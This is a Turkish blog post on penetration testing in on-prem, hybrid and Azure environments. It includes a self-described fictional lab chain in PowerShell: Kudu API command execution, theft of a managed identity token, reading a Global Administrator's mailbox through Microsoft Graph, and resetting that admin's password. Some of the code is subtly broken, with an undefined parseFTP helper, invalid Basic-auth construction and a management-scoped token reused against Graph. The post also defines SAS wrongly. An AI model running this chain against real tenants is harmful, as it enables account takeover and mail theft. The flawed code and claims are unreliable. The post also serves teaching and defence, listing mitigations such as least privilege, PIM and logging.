İlkel YerelAğ ve Azure Bulut Ortamlarında Sızma Testleri

C1K0

Tekrardan selamlar, bugün günümüzde benzer başlıklar olması sebebi ile karıştırılan bir konuyu ele alacağım. Keyifli okumalar dilerim.

Not: En diplere doğru, oluşturduğum kurgusal bir lab ile daha teknik detaylara yer verdiğim kısmı okumadan geçmemelisin!

Şimdi sürekli gördüğümüz her yerde içeriği olan pentest (yani sızma testi) işlemini ele alalım.

Nedir Bu Pentest?

Klasik yerel ağ sızma testlerinde süreç genellikle keşif ile başlar, ardından hedef ağda port taramaları ve zafiyet taraması yapılır. (Örneğin otomasyonlarla mesela Nmap, Nessus v.b. kullanılarak). Sonraki aşamada bulunan zafiyetler exploit edilmeye çalışır (Bu süreçte önümüzde firewall, EDR, defender v.b. güvenlik ürünlerinin bizi engellemesi ile karşılaşabiliriz.) ve ele geçirilen sistemlerde yetki yükseltme ile yanal hareket yapılır. Bu süreç klasik sızma testinin beş aşamalı bir modelidir.

Hibrit Ortamlarda Sızma Testi

Hibrit ortam dediğimizi kısaca açıklamak gerekirse, ne tam anlamıyla Azure kullanan ne tam anlamıyla on-prem üzerinde çalışan sistemlerdir. Ortaya karışık, sistemi kolaylaştıracak özellikler aktif edilir veya sistemi yoranlar deaktif edilirler. Hibrit yapılarda, hem şirket içi (on-prem) ağ hem de Azure bulut altyapısı birlikte ele alınır. Bu durum sızma testinin kapsamını genişletir ve sızma testi uzmanlığından biraz daha farklı bir alan gerektirir. Hibrit testlerde karşılaşılan başlıca durumlar şunlardır;

  • Kimlik Entegrasyonu: On-premise Active Directory ile Azure AD arasında doğrulama senkronizasyonu varsa, bu bağlantıdaki olası zayıflıklar incelenir. Örneğin, Azure portalına erişimde Azure AD kimlik doğrulaması ve çok faktörlü kimlik doğrulamanın (MFA) zorunlu olması önemlidir. Bu tarz olası gözden kaçabilecek yapılandırmalar ele alınır. Bu tür bir ortamda pentester, hem yerel ağ araçlarını, hem de Azure araçlarını kullanabilir (Çünkü aslında her iki tarafada test gerçekleşir ve her yerin didik didik kontrol edilmesi gereklidir).
  • Network İzolasyonu: Hibrit altyapıda kurum içi ağı Azure ile konuşturann VPN v.b bağlantıların güvenliği kontrol edilmelidir. Bu bağlantılar üzerinden sömürü yaparak hem bulut hem de yerel sistemlere erişim test edilir.
  • Politikalar ve İzin Farklılıkları: Yerel ağda uygulanan güvenlik politikaları ile Azure üzerindeki RBAC ve NSG kuralları değişkenlik gösterebilir. Bu nedenle her iki tarafta da ayrıcalıklar, izinler ve firewall kuralları detaylı şekilde incelenmeli. (Çoğunlukla Azure üzerindeki zafiyetler missconfigurationdan çıkmaktadır !!!)
  • Olası Saldırı Senaryoları: Örneğin bir saldırgan önce yerel ağdan Azure AD hesabını ele geçirip buluta geçebilir veya tam tersi bir senaryo Azure ağı üzerinden yerel ağa sızmaya çalışılır. Bu şekilde hibrit bir sistemin çeşitli senaryolarda ele geçirilmesi mümkün olabilir.

Bu anlattıklarım doğrultusunda, hem on-prem hem de bulut araçlarının birlikte kullanılması GEREKLİDİR. Hibrit sistem testlerinde, bulut tarafında özellikle portal, Azure AD, sanal ağlar ile servis konfigürasyonları, kurum içi tarafta ise geleneksel sunucu, iş istasyonu ve altyapı testleri ele alınır. Örneğin, Azure portal yönetici hesabının güçlü bir parola ve MFA ile korunması ilk adımlardan biridir.

Sadece Azure (Bulut) Sistemlerde Yapılan Testlerin Farklılıkları

Şimdi ise genel olarak test teknikleri, araçlar ve normalden ziyade genel olarak nasıl bir methodoloji izlendiğini ele alacağım.

Tamamen bulut sistemlerde sızma testleri, daha çok sömürüden yana kimlik ve konfigürasyon odaklıdır (Aslında tamamen burada biraz daha blue team bakış açısına giriyor ve sistemcilik bilgisi ile destekleniyor). Herhangi bir şekilde kablolu (fiziksel) ağ erişimi yoktur, saldırganın odaklandığı hedefler Azure AD hesapları, yönetici rolleri, PaaS kaynaklar (yani bulut uygulamaları) ve bulut üzerindeki yapılan yapılandırma hatalarıdır. Temel farklılıklara ve tekniklere aşağıda yer verdim.

  • Kimlik Saldırıları: Ana hedef genellikle Azure AD kullanıcı hesapları ve kullanıcının uygulama ve ağ izinleri olduğundan, parola spraying/brute-force saldırıları (mesela MSOLSpray gibi araçlarla) ile geçerli kullanıcı bilgileri sömürülmeye çalışılır.
  • Role ve İzin Taraması: Sızma testi sırasında Az CLI ve Azure AD araçlarıyla (AzureAD PowerShell modülü, BloodHound-Azure, AADInternals ozellikle bu baya güzel bir araç gibi) farklı kullanıcı rollerinde ne kadar ayrıcalık olduğu analiz edilir. Bu sayede izin zincirleri ve olası yetki yükseltme senaryoları hesaplanır.
  • PaaS Kaynaklar Üzerinde Yer Alabilecek Zafiyetler: Azure App Service, Azure Functions gibi bulut uygulamalarında OWASP türü açıklar aranır. Microsoft, bu servislerde yapılacak OWASP testleri ve fuzzing gibi incelemelere izin verir. Örneğin, App Service üzerinde SQL enjeksiyonu, XSS, komut çalıştırma gibi zafiyetler tespit edilerek sömürme senaryoları oluşturulabilir.
  • Managed Identity Zafiyetleri: Azure kaynaklarına atanan yönetilen kimliklerin ele geçirilmesi yaygın bir senaryodur. Örneğin bir uygulamanın managed identitysi ile bir RCE açığı kullanılarak ARM üzerinden erişim tokenı alınabilir. Bu token ele geçirilen servisin kimliği üzerinden azure kaynaklarına erişim sağlamak için kullanılabilir.
  • Ağ Keşfi ve Depolama Hizmetleri: Bulut ortamında açık kaynak (Azure Blob gibi) taraması yapılır. Eğer storage accountlarda anonim erişim açıksa hassas dosyalar elde edilebilir. Ayrıca sanal ağlar, NSG kuralları ve açık alt ağ yapılandırmaları incelenir.

Kısacası, yalnızca Azure ortamında pentest, yerel ağdan daha çok kimlik yönetimi ve yapılandırma yanlışlarına odaklanır. Bunu tekrar tekrar söylüyorum çünkü Azure üzerinde artık geleneksel sızma testi diye bir şey kalmaaadıııı!!! Şifre saldırıları, rol taramaları, bulut fonksiyonları veya App servis açıkları gibi yöntemler daha önemlidir. Sonrasında, elde edilen token veya kimlik bilgileri ile başka bulut kaynaklarına erişim sağlanmaya çalışılır.

Azure Ortamlarında Karşılaşılan Yaygın Yapılandırma Hataları

Bu başlıkta genel olarak paylaşılmış ve kendimin de karşılaştığı bazı missconfigurationlardan bahsedeceğim.

  • Azure Active Directory (Entra ID) Yanlış Yapılandırmaları: Örneğin, normal kullanıcıların Global Administrator rolünde olması büyük bir risktir (Aslında yerel ağda Domain Admin yetkisi vermek ile benzer işler). Bu durumda bir kullanıcı hesabının ele geçirilmesi tüm ortamın ele geçirilmesine sebebiyet verecektiir. Benzer şekilde hesabı korumak için MFA’nın zorunlu kılınmaması da yaygın görülen bir zafiyettir. Eski kimlik doğrulama protokollerinin açık bırakılması da olası parola saldırılarının önünü açar.
  • RBAC (Role-Based Access Control) Sorunları: Azure RBAC kullanılarak verilmesi gereken izinlerin geniş tutulması veya özel rollerin yanlış yapılandırılması sorun yaratır. Örneğin, bir hizmet hesabına gereğinden fazla “Owner” rolü verilmesi yetki sızıntısına sebep olabilir. Temel prensip olarak en az ayrıcalık prensibi benimsenmelidir.
  • Key Vault, Storage ve Diğer Servis Hataları: Azure Key Vault servisi üzerinde erişim politikalarının yanlış ayarlanması durumunda kritik anahtarlar ele geçirilebilir. Storage hesaplarında ise anonim veya aşırı geniş izinlerin verilmesi büyük risktir. Örneğin, anonim erişime açık blob konteynerleri saldırganların tüm içeriği listeleyip indirmesine olanak sağlar. Diğer önemli hizmetlerde de (Azure SQL, Cosmos DB, Kubernetes Service) erişim izinleri ve ağ kuralları gözden geçirilmelidir.

Azure Sistemlerde Sızma Testi Yapılırken Özellikle Parmak Atılması Gerekilen Yerler

  • Kimlik ve Erişim Yönetimi: Azure AD kullanıcıları ve rollerinin yapılandırılması, uygulanan Conditional Access politikaları ve MFA durumu izlenir.
  • Ağ Yapısı ve Sanal Ağlar: Virtual networkler, NSG kuralları, Azure Firewall incelenir. Sanal ağlar arası bağlantılar (VNet peering) ve dışa açık noktalar kontrol edilir.
  • Sunucu ve VM Yapılandırmaları: Eğer IaaS sanal makineler var ise, üzerlerindeki açık portlar, güncel yazılım düzeyi ve güvenlik duvarı kuralları kontrol edilir. Sanal makinelerde kullnılan Managed Identity izinleri de ele alınır.
  • Depolama Kullanıcıları: Storage hesaplarının anonim erişime açık olması, SAS (verileri işlemek için kullanılan bir tür programlama) kullanımı, şifreleme ayarları ve erişim günlükleri kontrol edilmelidir. Özellikle blob ve dosya servislerindeki izinler test edilir. (Aslında yerel ağdaki smb paylaşımlarında keşif yapmaya benzetebiliriz.)
  • App Servis ve PaaS Servisler: Azure App servis, fonksiyonlar veya container instance gibi PaaS hizmetlerinin güvenlik ayarları (Kimlik Doğrulama/Yetkilendirme, CORS, uygulama ayarları) kesssinlikle incelenmelidir.
  • İzleme ve Loglama: Azure Monitor, Log Analytics, Azure Policy ile tanımlı izleme ayarları kontrol edilir. Yeterli veri toplanıp toplanmadığı (VM diagnostic extension, App Service logları, AD denetim logları) gözden geçirilmelidir.

Not: Ayrıca bunların yanına düşmek istediğim altın değerinde bir nokta var o yüzden bunu maddelerden ayırdım. Bu nokta ise hibrit sistemlerde genelde “ADCONNECT” gatewayinin on-prem üzerindeki kullanıcının yetkisinin “Domain Admin” olarak gözükmese bile “ADCONNECT” kullanıcısının neredeyse Domain Admin yetkisine yakındır (Çünkü çoğu sistemci bunun yetkilerini düzenlemeden olduğu gibi bırakmaktadır). Hibrit yapılarda on-prem üzerindeki bu makine ve bu kullanıcının kovalanması önem taşımaktadır. Domain Admin’e giden yol ADCONNECT üzerinden geçer ^^.

Hibrit/On-Prem Yapı Üzerinde Saldırı Senaryosu (Domain Userdan Admine)

İşte şimdi benim hayal dünyama hoş geldiniz… Yazının bana göre en keyifli kısmı burası…..

Hem on-prem VLAN izolasyonları hem de Azure içeren hibrit bir ortamda gerçekleştirilen karmaşık bir saldırı zincirini ele alalım. İlk olarak test uzmanına sıradan bir Domain User hesabı verilmektedir. Bu yetkiyle test uzmanı, Azure App üzerinden Managed Identity token elde edip bu servis üzerinden exchange servisindeki mail kutularına erişti. Elde edilen bilgilerle bir yönetici kullanıcının kimlik bilgileri ele geçirildi ve ardından Azure RBAC/Entra ID zafiyeti kullanılarak hedef ortamda Domain Admin parolasının sıfırlanması sağlandı.

  • Keşif Yapalım

İlk olarak PowerShell kullanarak ortamı keşfedelimm. Mesela Azure kaynakları listelenerek hangi Applerin çalıştığı tespit edelim.

$apps = Get-AzWebApp -ResourceGroupName * -Name *
$apps | Format-Table Name, State, Location, Identity
  • Uygulamayı İnceleyelim

Bulunan bir Web uygulamasının Managed Identity ataması ve sahip olduğu izinler inceledik. (Get-AzWebApp çıktısında Identity.Type kısmında “SystemAssigned” olduğunu keşfettik). Veya farklı bir yol olarak Stormspotter veya BloodHound-Azure (AzureHound) gibi araçlarla Azure üzerindeki servis-principal ilişkileri incelenebilir

  • Code Injection ve Kudu Kullanımı

Web uygulama içeriklerinde bir komut enjeksiyon veya uzaktan kod yürütme (RCE) açığı yakaladık. Azure App servislerinde her uygulamanın yanındaki “Kudu” (Bir nevi api olarak düşünebilirsiniz.) hizmeti komut çalıştırmaya izin verir. Daha sonrasında Kudu API’sine şu PowerShell POST isteğini yaptık.

$creds = Get-AzWebAppPublishingProfile -ResourceGroupName RG -Name AppServiceName -OutputFile publishing.xml
$user, $pass = parseFTP($creds) 
Invoke-WebRequest -Uri "https://AppServiceName.scm.azurewebsites.net/api/command" `
                  -Method POST `
                  -Headers @{Authorization = "Basic $($user:$pass|ConvertTo-Base64)"} `
                  -Body '{"command":"env"}' -UseBasicParsing

Bu şekilde uygulama üzerinde $env:IDENTITY_ENDPOINT ve $env:IDENTITY_HEADER değerlerini elde ettik. Kudu üzerinden ortam değişkenlerini okuduk.

[Environment]::GetEnvironmentVariable("IDENTITY_ENDPOINT")
[Environment]::GetEnvironmentVariable("IDENTITY_HEADER")
  • Token İsteği

Elde edilen IDENTITY_ENDPOINT ve IDENTITY_HEADER bilgileriyle metadata hizmetine istek attık. Azure Instance Metadata Service (IMDS) benzeri bir uç noktası olan bu servis, uygulamanın Managed Identity tokenını döner. Ve bingo!

$uri = "$($env:IDENTITY_ENDPOINT)?api-version=2018-02-01&resource=https://management.azure.com/"
$headers = @{ "X-IDENTITY-HEADER" = $env:IDENTITY_HEADER }
$resp = Invoke-WebRequest -Uri $uri -Method GET -Headers $headers -UseBasicParsing
$token = ($resp.Content | ConvertFrom-Json).access_token

Doğru bir istekte access_token içeren bir JSON dönmesi gerekiyor. Bu token, App servisiin sistem yöneticisi olarak davranmasını taklit eder. Elde edilen token, sonraki adımlarda Azure kaynaklarına erişmek için anahtarımız oldu.

App Servisin Exchange Mailbox Erişim İzinlerini Keşfetme

Bu aşamada artık mailbox üzerindeki yetkilerimizi inceleyip, daha sonrasında sömürü aşamasına geçeceğiz.

$sp = Get-AzADServicePrincipal -ObjectId <ManagedIdentityObjectId>
Get-AzRoleAssignment -ObjectId $sp.Id | Format-Table Scope, RoleDefinitionName

Azure Portal veya AzureAD ile Graph API üzerinden Mail.Read/Mail.ReadWrite.All gibi Exchange izinleri olup olmadığını görüntüledik. Microsofta göre, bir uygulama “Mail.Read” uygulama izni almış işe tüm şirketin posta kutularını okuma yetkisi de almış demektir. Bu da demek oluyor ki buradan yönetici şifresini çalıp çırpabiliriz.

Yetkili kullanıcıların tespit edilip ayıklanması.

$admin = Invoke-RestMethod -Headers $headers -Uri "https://graph.microsoft.com/v1.0/users?$filter=jobTitle eq 'Global Administrator'"
$admin.mail
$messages = Invoke-RestMethod -Headers $headers -Uri "https://graph.microsoft.com/v1.0/users/$($admin.id)/mailFolders/Inbox/messages"

Örnek çıktı şu şekilde olacaktır.

{
  "displayName": "C1K0 Admin",
  "mail": "[email protected]",
  "jobTitle": "Global Administrator",
  "department": "IT-SCNX",
  "assignedRoles": ["Global Administrator"]
}

Parola sıfırlama işlemine geçelim.

Import-Module Microsoft.Graph.Users
$pwdProfile = @{ Password = "Scnx06C1k0"; ForceChangePasswordNextSignIn = $false }
Update-MgUser -UserId "[email protected]" -BodyParameter @{ passwordProfile = $pwdProfile }

Bu işlem Microsoft Entra ID’deki Domain Admin (senkronlu kullanıcıysa on-prem AD’ye de yazılır) hesabının şifresini değiştirdi. “Privileged Authentication Administrator” rolündeki kullanıcı bu işlemi yapabilir.

Alınması Gerekilen Önlemler

  • En Az Yetki İlkesi:Service principal için sadece gerekli minimum izinler verilmeli, gereksiz Exchange ya da diğer kaynak izinleri kaldırılmalıdır
  • Rol Yönetimi: Entra ID yöneticilik rolleri (Global Admin, Auth Admin, Privileged Auth Admin vb.) PIM ile süreli ve denetlenebilir şekilde atanmalı, normalde pasif tutulmalıdır.
  • Log İzleme: Azure AD oturumları, API çağrıları ve Active Directory olayları merkezi loglama/SIEM’e gönderilip izlenmelidir.
  • Kudu Güvenliği: App servisi Kudu yönetim konsoluna erişim, yalnızca gerçekten ihtiyacı olan roller ile sınırlandırılmalıdır
  • Uygulama Erişim Politikası: Exchange Online’da bir uygulamaya tüm posta kutusu erişimi yerine ApplicationAccessPolicy uygulanarak erişebileceği mail grubu sınırlandırılmalıdır

.

.

.

.

.

.

.

.

.

İlerde kendi lab ortamımı oluşturana kadar görseller temsilidir. İlerde kendi lab ortamımda daha derin teknik çalışmalar ile sizlerle birlikte olacağım.

Related Posts

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir